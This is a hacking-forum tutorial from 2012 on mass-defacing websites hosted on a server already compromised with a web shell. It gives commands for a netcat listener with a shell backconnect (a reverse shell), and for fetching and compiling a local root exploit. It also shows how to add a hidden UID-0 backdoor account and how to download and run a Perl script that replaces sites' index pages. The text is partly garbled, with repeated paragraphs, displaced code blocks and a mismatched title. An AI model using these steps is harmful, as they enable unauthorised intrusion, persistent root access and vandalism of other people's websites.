Mass Deface via Local Root 11-29-2012, 03:09 AM
#1
How to Crack WPA/WPA2
About this TuT
This tutorial will be how to deface many websites at once.
You'll need several files:
Shelled Website
NetCat
A Local Root Exploit
Mass Perl Script
VPN, Tor, etc.
First off, we have to have a basic understanding of what root is. Root is basically the administrator of servers. With root, a person can delete files, copy files, add and delete files, etc.
You'll need several files:
Shelled Website
NetCat
A Local Root Exploit
Mass Perl Script
VPN, Tor, etc.
First off, we have to have a basic understanding of what root is. Root is basically the administrator of servers. With root, a person can delete files, copy files, add and delete files, etc.
Getting Started - Preparation
Now,
Check what kernel the server is using. This is shown on the shell that you uploaded. Or, you can Execute Case on the shell and execute uname -a for the same result.
Check for an exploit in the Pastebin linked above.
Next, open up a port (I always use 443). Open netcat and type:
Go back to your shell and go to backconnect. Enter the port you opened and press connect. It should then connect to your netcat.
Now, you need to wget the exploit link (They're Here) in netcat. It will download the zip to the server.
If the exploit is downloaded as:
EXPLOITNAMEHERE.c
Then simply compile it by
If it downloaded as EXPLOITNAMEHERE.zip, simply:
Now, let's get root, shall we?
Check what kernel the server is using. This is shown on the shell that you uploaded. Or, you can Execute Case on the shell and execute uname -a for the same result.
Check for an exploit in the Pastebin linked above.
Next, open up a port (I always use 443). Open netcat and type:
Code:
-l -n -v -p 443Go back to your shell and go to backconnect. Enter the port you opened and press connect. It should then connect to your netcat.
Now, you need to wget the exploit link (They're Here) in netcat. It will download the zip to the server.
If the exploit is downloaded as:
EXPLOITNAMEHERE.c
Then simply compile it by
Code:
gcc EXPLOITNAMEHERE.c -o EXPLOITNAMEHEREIf it downloaded as EXPLOITNAMEHERE.zip, simply:
Code:
unzip EXPLOITNAMEHERE.zip.Getting Root
Type:
Then run it...
Type:
to see if you're root.
Now, we'll add a new root user.
Command is:
Now, password for root (you're almost done):
To check if you did it right, do:
Code:
chmod 777 EXPLOITNAMEHERECode:
./EXPLOITNAMEHERECode:
id (You can also do whoami)Now, we'll add a new root user.
Command is:
Code:
adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M DESIREDROOTNAMENow, password for root (you're almost done):
Code:
passwd DESIREDROOTNAMECode:
id DESIREDROOTNAMEMass Defacing
Now, for the fun part.
Then wget the site you uploaded that mass.zip to:
Then unzip...:
Run the script...
Now for the final step...
Enjoy, this is for educational purposes, and only you are responsible for your actions.
Credits to whoever I learned this from (several sources that I never saved).
Zealotry
Code:
cd /tmpThen wget the site you uploaded that mass.zip to:
Code:
wget WWW.SITENAMEHERE.COM/WHEREEVER/mass.zipThen unzip...:
Code:
unzip mass.zipCode:
perl mass.pl
perl mass.pl /tmp/index.html
wget www.abc.com/index.html (THIS IS YOUR DEFACE PAGE!)Now for the final step...
Code:
perl mass.pl /tmp/index.htmlEnjoy, this is for educational purposes, and only you are responsible for your actions.
Credits to whoever I learned this from (several sources that I never saved).
Zealotry




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)